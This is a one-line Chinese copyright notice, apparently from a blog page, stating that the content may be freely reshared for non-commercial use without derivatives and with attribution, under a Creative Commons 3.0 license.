- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)